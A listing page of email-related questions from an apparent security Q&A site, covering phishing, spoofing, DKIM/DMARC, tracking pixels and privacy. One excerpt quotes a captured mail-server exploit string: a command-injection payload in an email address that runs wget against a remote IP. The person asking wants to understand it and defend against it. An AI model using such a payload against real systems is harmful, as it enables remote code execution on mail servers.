Questions tagged [email]
Related to email protocols, clients, servers, content, and message format.
1,414
questions
0
votes
1answer
37 views
Theoretical DKIM Question
I have been playing around with sending emails via telnet using text commands.
Theoretically...
Say I send an email from a typical mail agent that adds a dkim signature from a@a.com to b@b.com.
...
0
votes
1answer
61 views
Received an HTML file in an email and opened it. Can someone check the code to make sure user is ok? [on hold]
this happened to a user in my work environment. He received an email with an html attachment. He opened it and was directed to a website that said something like view file. When you pushed that you ...
15
votes
11answers
9k views
Is there a way to hide HTML source code yet keeping it effective?
I have a website with a client-side HTML contact form created manually (not as output of an HTML constructor like PHP):
<form action="mailto:someone@example.com">
Email Adress:<br>
...
1
vote
1answer
47 views
Why do we need DKIM to be used along with S/Mime?
S/Mime can be used to encrypt email and it can also be used by the sender to provide his digital signature so that the recipient is able to confirm the authenticity of the sender.
Why then do we ...
0
votes
2answers
45 views
Spam email sign ups from HeadlessChrome?
I built a landing page with a "sign up with your email to get notified" sort of thing. The button executes some AJAX and submits to a PHP file which sends an email to me. Now, I'm getting a bunch of ...
38
votes
2answers
11k views
How do email clients “send later” without storing a password?
Email clients like Spark for macOS have a feature where a user can send an email later, at any given time, even when the computer is turned off. An SMTP server needs a password based authentication, ...
0
votes
1answer
114 views
Email phishing, understand mail header
I try to understand phishing email received from an attacker:
Received: ....
Received: ....
Received-SPF: Pass (sender SPF authorized) identity=mailfrom; client-ip=74.208.4.XX; helo=mout.gmx.com; ...
1
vote
3answers
132 views
How to tell if an email source is spoofed?
I've received an email to my gmail account from FCMB, a bank in Nigeria (flashing warning lights already). It's not addressed to me (i.e., the email starts off "Dear Daniel," [not my name]). But the ...
0
votes
1answer
47 views
response when sent emailed links to personal information
I'm filling out tax information. The accountants out-source the survey collecting the tax info to another company. Seems fair enough - I'd rather have computer experts handle the technical ...
1
vote
0answers
64 views
I'm looking for an email provider like this [closed]
I am looking for email providers with the following conditions for privacy.
email providers that:
Are free.
Do not require JavaScript or other credentials for registration.
Provide an onion service.
...
0
votes
0answers
7 views
Mail address working despite not being registered in Exchange [migrated]
Tl;dr: Changed SMTP server for a Exchange/Office 365, old mail address still usable (send & receive) while not registered in Exchange.
A few months ago, we took over the domain of one of our ...
0
votes
1answer
105 views
Do I REALLY need to change my email password when idnotify.com Dark Web Monitoring recommends?
I occasionally get alerts from idnotify.com Dark Web Monitoring, such as this one:
08/31/2019
COMPROMISED EMAIL ADDRESS
Email Addresses: Jt***an@gmail.com
Date Found: 08/26/2019
Password ********...
29
votes
10answers
7k views
Received email from ISP saying one of my devices has malware
My dad received a suspicious email from our ISP (mtnl.net.in).
The email was from noreply@mtnl.net.in and it had our user ID (I masked it as xxxxxxxx@a) in the email so it must have come from the ISP ...
1
vote
2answers
66 views
Emailing Medical Records Securely
Some doctors' offices give a personal email address, like Yahoo! or Gmail for patients to email medical records. What questions should I be asking them to make sure the email account is secure? Even ...
21
votes
4answers
5k views
Redacting URLs as an email-phishing preventative?
In a large organization (e.g., a city staff), relying on human behavior to prevent phishing attacks isn't nearly effective enough. While it would be somewhat inconvenient (security usually is), I'm ...
0
votes
0answers
44 views
Received Google calendar invite but no organizer?
Whenever my wife and I invite each-other to an event which we create we always see the organizer above the guest but this spam invite does not have one.
How is this possible? Can I achieve this?
3
votes
3answers
154 views
Why is DMARC failing when SPF and DKIM are passing?
I've seen this question asked before, but unfortunately, don't understand the responses. I think its something to do with "from" headers being defined differently by different standards. I've added ...
1
vote
2answers
117 views
TLS 1.0 Deprecation and Mitigation Tactics
With the deprecation of TLS 1.0 on the horizon, I'm curious how others are handling connectivity and mail delivery issues for dated client environments.
Lets face it, there are more environments live ...
0
votes
2answers
164 views
How does someone know i clicked a link in an email? URL spoofing? JSON?
How do hackers/scammers know that I clicked a link? Why is my personal info in the url redirect link? Is this info then being stored in a database and the hacker/scammer knows that because this ...
1
vote
1answer
59 views
Is it ok to assume a user has opted-in to receive emails in an application where the main purpose is sending notifications [closed]
I'm working on a web application where the main purpose/functionality is notifying users when there have been changes to regulations in a particular industry.
The application is subscription based, i....
1
vote
1answer
133 views
Mindlessly clicked days old phishing email link appeared dead
Was multitasking and mindlessly clicked Squarespace phishing email. Page didn't load, and right away I realized my mistake. Completed several malware scans which came back clean. The button link ...
0
votes
1answer
77 views
Viewing URLs on Mobile Devices
What are you doing to help your users view URLs in emails on mobile devices? Our training program is helping people to understand how to view URLs before clicking the actual link. On mobile devices ...
3
votes
2answers
147 views
Mail interception fraud
My company has been the target of a mail fraud attempt for the second time this year.
The fraud goes as followed:
My company sends an invoice to a customer from the email address alice@mycompany.com ...
0
votes
1answer
84 views
Possible dangers of .doc files
I just recieved some generic work related mail with word file attached that was requesting to Enable Editing in order to view its content. I'm not going to fall for it but it got me wondering. What ...
2
votes
3answers
154 views
Password reset vs change
My webapp has "password reset" and "password change" functionality.
Password "reset" is typical: user clicks "I forgot my password", enters his email, one-time link emailed there, he visits a form to ...
1
vote
1answer
87 views
Exchange sensitive information through public chat
Is there a way to exchange phone numbers/email addresses through public chats with a person without giving them or other communication information away to all the other people in the public chat?
...
0
votes
3answers
145 views
IP address opening email
Company sends me an email to my gmail.com account.
I open the email in my gmail account. It turns from bold to grey, showing it has been read by me. I do not reply to it.
Can the company gauge my IP ...
3
votes
2answers
197 views
Outlook rule to forward all emails - is that a common scam?
Recently we had a security problem. One email account which is based on MS Exchange 365 was hacked and the hacker forwarded all emails per rule to a Gmail account.
I checked all relevant PCs and I ...
0
votes
1answer
73 views
Are there any kinds of ID where it would be safe to email a photocopy of that ID?
I am developing an online registration form for a discount program whose eligibility can be determined by examining a person's ID. When a user submits the form, he or she is asked to upload a ...
3
votes
2answers
157 views
Account verification emails with links vs codes
I need to send verification emails for things like
email verification
password reset
email change
password change
In the past most webapps would send an email with a clickable verification link ...
0
votes
1answer
82 views
Deeplinks in email that autologin
I'm wondering if a deep link in an e-mail that automatically authenticate even though the session is expired is GDPR compliant. For instance if I send an e-mail to a user with links to the internal ...
1
vote
1answer
138 views
Is there a way to check the authenticity of a forwarded email?
This question relates to an answer on Skeptics.SE. Read the comment where somebody wrote "Even if you forward someone the email you received, we can't be sure you didn't fake it." Is this statement ...
2
votes
1answer
70 views
Solution to block email sending to domains with typo error
I'm trying to find a solution to block the sending of emails to domains with typo errors in it, for example gmai.com or outlok.com.
I am working for a client who uses Office 365 that would like to ...
1
vote
0answers
83 views
Accessing Gmail if you are the owner of domain that someone else uses
Say Person A (Adam) owns the domain example.com, but is allowing free use of the domain name to his friend, Person B (Bill). As the owner of the domain, Adam logs into his registrar and points the ...
-1
votes
1answer
80 views
Is it possible to intercept messages from email address or phone number that is expired? if yes, how? [closed]
I used to have an email account for receiving important messages but it was deleted by the email provider in which they claimed that deletion of the email address is still in progess but cannot be ...
0
votes
0answers
20 views
Executable Code in Mail Headers [duplicate]
Recently I noticed someone delivering email to my server root account with headers like this:
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20199.204.214.40x2fsbzx2f45.79.163.30x22}}@host....
1
vote
2answers
122 views
Weird character sequence in email subject
I've noticed that the subject in one of the spam emails looks like this in source:
Subject: Offe=?UTF-8?Q?=EF=BB=BF?=r fr=?UTF-8?Q?=EF=BB=BF?=om C=?UTF-8?Q?=EF=BB=BF?=redi=?UTF-8?Q?=EF=BB=BF?=t On=?...
2
votes
1answer
177 views
Mystery link containing fragment identifier in malicious email
The following link was received in a suspected phishing attack email. Unfortunately, the recipient clicked on the link in their outlook client:
<tr>
<td class="m_-[string-of-19-numbers]...
1
vote
0answers
39 views
Emails Bypassing Exchange Transportation Rules
So here is the situation, we are trying to filter out spam emails within our organizations Exchange 2010 mail server and for the most part we have been pretty successful. Except for a few emails.
...
1
vote
1answer
81 views
Trailcams and disabling them [closed]
I'm using trailcams (10) for security in my yard. I'm dealing with vandals destroying my trees and set up trailcams to catch the person. For almost 3 months they have been cutting my trees but somehow ...
-1
votes
1answer
66 views
Email and Computer Serial Number
Are email servers like Gmail, etc. able to capture a computer's serial number on sent emails? If so, are there ways to block that type of sensitive identifiable information from being captured by ...
0
votes
1answer
117 views
Email under GDPR [closed]
I am aware that email is considered as PII and should be used and stored under strict security guidelines as per GDPR. If we use email in any our communications and in what cases it might not be ...
0
votes
0answers
49 views
How to detect a spoofed email with Outlook Web Access?
I am specifically asking about Outlook Web Access (browser based Outlook), and not for any other email service or program.
Within Outlook Web Access, is there a way to tell whether or not an email ...
0
votes
2answers
91 views
Unlimited Private Email Aliases? [closed]
I don't know whether this question belongs here but I can't think of any other community that would want or know a service like this the most.
I'm looking for an email provider service that allows me ...
1
vote
2answers
326 views
Preventing tracking pixels on Mozilla Thunderbird
Is there a way to prevent loading of tracking pixels on Mozilla Thunderbird ? I know there's a way to prevent loading images by default but I'd like to be able to load images without having to worry ...
1
vote
1answer
431 views
caught email exploit attempt — info requested — mail to root+${…}@host [duplicate]
I received an email to the address below that is an apparent exploit attempt. Does anyone have details about the specific exploit so I can make sure I am patched/not exposed:
root+${run{...
0
votes
1answer
62 views
Block SMTP Connection That Doesn't Have Credentials
I am able to do the following and connect successfully without any type of credentials:
telnet <IP Address> 25
When I am in I can verfiy emails, send emails, etc. I feel like this is a ...
2
votes
1answer
95 views
Is there a name for using a web site email feature to harass someone or the site?
The scenario is that a website has a password recovery feature: you enter your email and if you have an account with that email, it sends you a recovery link.
But then someone writes a script that ...
1
vote
1answer
45 views
Difference between local and central anti-spam
I'm attending a web security course whose slides, concerning techniques for protecting ourselves from spam, sometimes report the expressions "local anti-spam" (or "personal anti-spam") and "central ...
3
votes
3answers
182 views
What's the point of S/MIME?
I received an email recently which displayed as an empty body with a smime.p7m attachment. After some Googling, I discovered it was an encrypted email -- neat! So I started looking for the key. But... ...
